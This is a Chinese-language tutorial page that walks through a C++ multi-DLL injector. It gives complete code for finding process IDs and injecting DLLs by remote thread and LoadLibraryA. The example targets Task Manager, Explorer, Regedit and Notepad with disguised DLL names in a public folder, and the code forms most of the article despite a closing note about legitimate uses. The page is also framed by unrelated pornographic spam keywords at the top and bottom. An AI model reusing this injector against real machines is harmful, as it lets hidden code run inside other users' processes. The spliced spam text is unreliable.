成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

利用C++的HashMap結構實現一個多DLL注入器

開發 前端
在C++代碼中, 如果要實現將一個Dll高效的注入到多個進程中, 可以定義一個HashMap結構。

1.技術實現背景

在C++代碼中, 如果要實現將一個Dll高效的注入到多個進程中, 可以定義一個HashMap結構, 在該結構中, 鍵名用來保存多個進程的名稱, 而對應的鍵值可以對應的保存一個或多個DLL路徑, 這個HashMap結構定義如下:

unordered_map<string, vector<string>> injectionMap;

而向其填充的鍵和鍵值參考如下:

injectionMap["taskmgr.exe"] = { "C:\\Users\\Public\\mscde.dll","C:\\Users\\Public\\msc23.dll"};
 injectionMap["explorer.exe"] = { "C:\\Users\\Public\\mscde.dll" };
 injectionMap["regedit.exe"] = { "C:\\Users\\Public\\mscde.dll" };
 injectionMap["notepad.exe"] = { "C:\\Users\\Public\\mscde.dll" };

在該結構中, 每個進程可以對應注入的一個或多個Dll, 實際上鍵值是一個字符串數組。

這里設計一個多DLL注入器的函數如下:

int injectDlls(unordered_map <string, vector<string>> injectionMap) {
 for (auto& injectRow : injectionMap) {
  for (auto& vectorDLL : injectRow.second) {
           injectDLL(vectorDLL, getPIDbyProcName(injectRow.first));
        }
  cout << endl;
 }
 return 0;
}

該函數實現的功能如下:

  • 參數接收一個HashMap結構, 其中鍵保存了要注入的所有進程名稱, 其值保存了要注入到進程的DLL全路徑字符串。
  • 循環遍歷該結構, 取出鍵中的進程名傳給getPIDbyProcName()函數獲取該進程名對應的PID; 取出鍵值中的DLL全路徑傳給injectDLL()函數的第一個參數, 將獲取的PID作為injectDLL()函數的第二個參數傳入。
  • 最終由injectDLL()函數完成進程DLL注入。

2.實現通過進程名獲取PID

通過進程名獲取PID的C++參考代碼如下:

int getPIDbyProcName(const string& procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
            wstring wideProcName(procName.begin(), procName.end());
            if (wcscmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

以上代碼屬于常規操作, 不再贅述。

3.實現DLL遠程注入

實現遠程DLL注入的injectDLL() 函數參考代碼如下:

bool injectDLL(string dllPath, int pid) {
 char* dllPathChar = new char[dllPath.length() + 1];
 strcpy_s(dllPathChar, dllPath.length() + 1, dllPath.c_str());
 dllPathChar[dllPath.length()] = '\0';
 HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
 if (hProc == NULL) {
  cout << "OpenProcess failed" << endl;
  return false;
 }
 LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
 if (LoadLibAddr == NULL) {
  cout << "GetProcAddress failed" << endl;
  return false;
 }
 LPVOID dereercomp = VirtualAllocEx(hProc, NULL, strlen(dllPathChar), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 if (dereercomp == NULL) {
  cout << "VirtualAllocEx failed" << endl;
  return false;
 }
 if (WriteProcessMemory(hProc, dereercomp, dllPathChar, strlen(dllPathChar), NULL) == 0) {
  cout << "WriteProcessMemory failed" << endl;
  return false;
 }
 HANDLE hThread = CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, dereercomp, NULL, NULL);
 if (hThread == NULL) {
  cout << "CreateRemoteThread failed" << endl;
  return false;
 }
 CloseHandle(hProc);
 CloseHandle(hThread);
 
 return true;

}

遠程DLL注入函數injectDLL() 主要完成了以下工作:

  • 接收兩個參數, dllPath是要注入的DLL全路徑, pid是目標進程的ID。
  • 在目標進程中調用VirtualAllocEx函數分配內存,需要傳入DLL全路徑。
  • 調用WriteProcessMemory函數將DLL全路徑寫入到分配的內存中。
  • 動態獲取kernel32.dll中的LoadLibraryA函數地址。
  • 在目標進程中通過CreateRemoteThread創建一個遠程線程, 將入口點設置為LoadLibraryA函數, 并將參數指向目標進程中的DLL路徑。
  • 關閉進程和遠程線程句柄。
  • 如果注入成功返回true, 否則返回false。

4.注意事項

以上代碼在布滿實時監控檢測的機器上已經不再適用于各種非法用途, 但DLL注入仍然在很多場景被用到, 例如: 軟件調試、逆向工程、輔助工具開發等。上面的代碼實現主要是為了分享對DLL注入的技術細節理解和參考。

責任編輯:趙寧寧 來源: 二進制空間安全
相關推薦

2022-09-08 06:23:37

C++HTTP 服務器

2021-05-28 18:12:51

C++設計

2011-09-16 10:00:56

C++

2015-03-24 13:46:29

C++多線程計數器特性實現

2009-07-16 10:20:21

赫夫曼編碼

2021-11-05 07:59:25

HashMapJava知識總結

2009-08-05 15:04:14

C# dll注入

2009-07-22 17:15:04

C#實現

2009-07-31 17:14:19

C#語言Web程序

2020-03-26 17:00:53

HashMapputJava

2019-12-11 10:45:08

Python 開發編程語言

2011-04-08 09:52:44

C++C#DLL

2023-01-02 18:15:42

PythonC++模塊

2016-11-08 18:53:08

編譯器

2024-03-13 13:53:10

C++程序開發

2021-10-27 11:29:32

框架Web開發

2009-09-25 11:04:07

C++動態加載DLL

2024-01-24 11:35:28

C++多返回值開發

2010-02-06 16:21:35

C++常規DLL

2016-03-03 14:29:15

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲国产精品一区二区三区 | 99re在线视频观看 | 久久精品欧美电影 | 欧美日韩中文在线 | 国产精品久久久久久av公交车 | 国产精品99久 | 精品一区二区久久 | 久久精品二区 | 91精产国品一二三区 | 日本网站免费观看 | yeyeav | 九九久久精品 | 欧美一区二区三区在线观看视频 | 成人免费在线视频 | 日韩一区二区三区视频在线播放 | 一区中文 | 久久综合狠狠综合久久综合88 | 国产91观看 | 国产视频第一页 | 91免费高清视频 | 在线中文字幕亚洲 | 亚洲成人网在线观看 | av大片在线 | 日本久久一区二区三区 | 国产一级视频在线播放 | 欧美日韩一区二区三区不卡视频 | 国产综合视频 | 中文字幕的av | 久久精品国产一区二区电影 | 草草网 | 久久亚洲欧美日韩精品专区 | 国产乱码精品一区二区三区中文 | 秋霞电影一区二区 | 日韩最新网站 | 精品成人佐山爱一区二区 | 日日夜夜91| 国产精品视频一区二区三区不卡 | 久久精品视频在线免费观看 | 久久激情五月丁香伊人 | 国产日韩一区二区 | 亚洲午夜av久久乱码 |